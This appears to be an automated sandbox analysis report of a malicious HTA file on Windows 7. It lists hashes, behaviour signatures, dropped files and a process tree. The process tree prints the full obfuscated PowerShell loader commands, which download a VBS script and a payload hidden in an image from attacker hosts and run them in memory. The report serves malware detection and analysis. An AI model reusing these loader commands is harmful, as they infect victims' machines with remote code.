Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    01-02-2025 03:50

General

  • Target

    eb991c96fa1503bfb9a160baa4c84bcef7a53287a064e7bcb21c83e989f1ffc9.hta

  • Size

    15KB

  • MD5

    3ad24c21ca8cfdc1f7ea80d990a58cd1

  • SHA1

    6e2d56eb9085869945b192c74874758ebdf033f9

  • SHA256

    eb991c96fa1503bfb9a160baa4c84bcef7a53287a064e7bcb21c83e989f1ffc9

  • SHA512

    71a8ba67fc2d15c7e420e1b8ca91a6445292b88e4db35517944e2671977e00418c97f963c1df8b9b34fc2a6912a6d2103f6587a9f7ce25fb4d48728c156f65c2

  • SSDEEP

    48:3v6cylbcrSlb4zg9HLzIr5fcpy8veDYRjNx9bPyx6qLchrc7Qw4OllAc1G:frzg9rzYfEPG4jdPyoN

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\eb991c96fa1503bfb9a160baa4c84bcef7a53287a064e7bcb21c83e989f1ffc9.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c pOwerSHELL -Ex byPass -NOP -W 1 -C dEviceCrEDENTiALdepLoyMENt.EXe ; InVOkE-ExPReSsION($(inVOkE-exPResSioN('[SySTem.TeXT.ENCoDING]'+[chAR]58+[cHar]0X3A+'utF8.gETstRing([SYSTem.coNVERT]'+[CHar]0X3a+[cHAr]0x3A+'FROMbAse64STRIng('+[chAR]0X22+'JHZGbWdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJlcmRFRmlOaXRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnlvUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFRyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaVUZITUp0LHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYcVZ5enFxb21KLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ6dHpsR0IpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsRVhFV1NqZ1VBIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXellXICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Rm1nYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi8xMjAvc2VldGhlYmVzdHRoaW5nc2ZvcmVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcm1lLmdJRiIsIiRlTlY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZm9yZW50aXJldGltZWdpdmVubWViZXN0Zm9ybS52YnMiLDAsMCk7c3RhcnQtU0xlRVAoMyk7SU52b2tFLWVYcFJlc3NpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JlbnRpcmV0aW1lZ2l2ZW5tZWJlc3Rmb3JtLnZicyI='+[cHar]0X22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOwerSHELL -Ex byPass -NOP -W 1 -C dEviceCrEDENTiALdepLoyMENt.EXe ; InVOkE-ExPReSsION($(inVOkE-exPResSioN('[SySTem.TeXT.ENCoDING]'+[chAR]58+[cHar]0X3A+'utF8.gETstRing([SYSTem.coNVERT]'+[CHar]0X3a+[cHAr]0x3A+'FROMbAse64STRIng('+[chAR]0X22+'JHZGbWdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJlcmRFRmlOaXRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnlvUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFRyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaVUZITUp0LHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYcVZ5enFxb21KLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ6dHpsR0IpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsRVhFV1NqZ1VBIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXellXICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Rm1nYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi8xMjAvc2VldGhlYmVzdHRoaW5nc2ZvcmVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcm1lLmdJRiIsIiRlTlY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZm9yZW50aXJldGltZWdpdmVubWViZXN0Zm9ybS52YnMiLDAsMCk7c3RhcnQtU0xlRVAoMyk7SU52b2tFLWVYcFJlc3NpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JlbnRpcmV0aW1lZ2l2ZW5tZWJlc3Rmb3JtLnZicyI='+[cHar]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2016
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hgyux_rk.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESED0E.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCED0D.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3044
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingsforentiretimegivenmebestform.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2628
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBtAHIAbwBmAHMAZwBuAGkAaAB0AHQAcwBlAGIAawBjAGEAYgB0AGUAZwBvAHQAeQBhAHcAcgBlAHQAdABlAGIALwAwADIAMQAvADIANwAuADcALgA4ADYAMQAuADQAMAAxAC8ALwA6AHAAdAB0AGgAJwA7ACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQAIAA9ACAAJABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAaQBtAGEAZwBlAFUAcgBsACAAPQAgACcAaAB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABhAHgAdwB1AGEANgAzAHkALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADMANwA2ADkANgAxADcAMQAvAGgAZQBrAGUAMgBwAG0AdABlAHUAdwA4AHMAcQBzAHAAbABoAGsAbAAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbQBhAGkAbgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwBmAGEAbABzAGUAJwAsACcAQwBhAHMAUABvAGwAJwAsACcAZgBhAGwAcwBlACcAKQApAA==')) | Invoke-Expression"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2116

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab1151.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESED0E.tmp

    Filesize

    1KB

    MD5

    e1296f646393b56c9c4f2b98ac4b474e

    SHA1

    8d7dac52d0900d0aa196a4ec5f7bb7fdeddfc609

    SHA256

    5af32dcb1a5b153a20a8dd34e5154b1fe84620fb14c1aebc96ef40a026d56b8e

    SHA512

    11b7795af7881e55c51c0ec6d04ae3ab200f7f0b875c58ed644992e32503ba5b9da650bbb4ddaeebf7ea5209d9977385d45a9c6520556d1be5aa0f1c6ae503db

  • C:\Users\Admin\AppData\Local\Temp\Tar11E1.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\hgyux_rk.dll

    Filesize

    3KB

    MD5

    46e209d943aed3a9a96eca75ae6384f3

    SHA1

    11275520071adf90ade92e1540d44ddfb2c7c774

    SHA256

    be6c8e1d0f21df039e82a7bb031d28439f852ff2e1bb008d7dd600cb6f0f4749

    SHA512

    f80cdfc0e066273fc828282432a461c554889c0e23e23c39874416f09b0d6682c2c3db839da987ff3972312964ed83ceecb3d51b4d614ea9ba973be207369040

  • C:\Users\Admin\AppData\Local\Temp\hgyux_rk.pdb

    Filesize

    7KB

    MD5

    5f192e65aa3679d2bbdf10d2728ff665

    SHA1

    970187000bd42ec8641edc8832f9d9c13a646b67

    SHA256

    8e047cd0089fa5635f566bf39f2451c75921be67d9e0a864ef62c3b659240cfb

    SHA512

    4740870e3c5391e6e6a74012368f59f7202527f2471a73726038d11fc55e1692a0ad8330f4d7c16c13be24365764612c9dae6493f94df5371aa69dcb614016ae

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    1f9c9034201b33cb549be125ed45918e

    SHA1

    865903c244b5d98bbb4aa2f93bd053ab495aa2f0

    SHA256

    def5f7cb7b95f703349721559bd22021f8befca1e6d1232253c1898d3c915f6e

    SHA512

    86fbccc915983db8fd1a4bd4c8dfb8ddd330594dc90eb1e4815c5f949dff69739e87f8da94317ec2e3af57b9d12921f43fa4a7476a938e495465d14ab4e05018

  • C:\Users\Admin\AppData\Roaming\seethebestthingsforentiretimegivenmebestform.vbs

    Filesize

    229KB

    MD5

    88f23c1da68cf667cec4b361448b8367

    SHA1

    028988c872f4793172929f914e7c0dbb145397d8

    SHA256

    3b2b162a74ce403dff15fe96e5623cffdf3326e57949cdd1ecf5ffe9ad155bee

    SHA512

    97bfb73a8e0c81e8309dcbdf7b8bd4df826c1c18225c483a12929e1bec87332dcf3bd0f01d4ce9f981d63c685a40449b84a618ae5f9afe7b1ecbea05603fdbb5

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCED0D.tmp

    Filesize

    652B

    MD5

    205a6682642ecfe0cda518f6f774a29f

    SHA1

    3aa25d0b454b2920c6a133c15444a6b0d5cfbfb9

    SHA256

    e14aa9aa4c559271ca0cc929e9bec8ca57725b38943db5b169b7b5f92f29655a

    SHA512

    f7f7fbba3c451286c332362d21c7040070586c209ad701928744bf806e56a5f551c56db3e635f8efb79f861f43f344b30566ddaae1eb936070e77aed2485a021

  • \??\c:\Users\Admin\AppData\Local\Temp\hgyux_rk.0.cs

    Filesize

    477B

    MD5

    788c3576e3dc8f95e6eef8576140abc7

    SHA1

    23441802614b7925dfb9a627dddf94345081369f

    SHA256

    eb34dc7736008d75241298fb305f6a59e599ae41a8f58a4eeddd3cef9a9f00d3

    SHA512

    7321860df913545e1bd998f21a941bc82f9fbb84b95b072c0c61d5eb906032b0ec22c8a49bbed2573faff923f4f4f8de45222bf40f1d07fd1092c4ff6dcb1678

  • \??\c:\Users\Admin\AppData\Local\Temp\hgyux_rk.cmdline

    Filesize

    309B

    MD5

    c06a8a9fa47465c65105983f918e6173

    SHA1

    94a3f6dcf2cff906c5f68bb6f48c31862b7d3662

    SHA256

    695f4ae220ab766565638ca88739a1c07424fb7242b0ea66d3ba86f768a07ee8

    SHA512

    72c0f5a437b6183e4c9dea0ddbd59e15c5c6ae3e915af9bc2546fd8ea18b7116e16978d5ad260d6020b7b3e7deb8e9e450458cca36a6b85d5f075c340d9950a1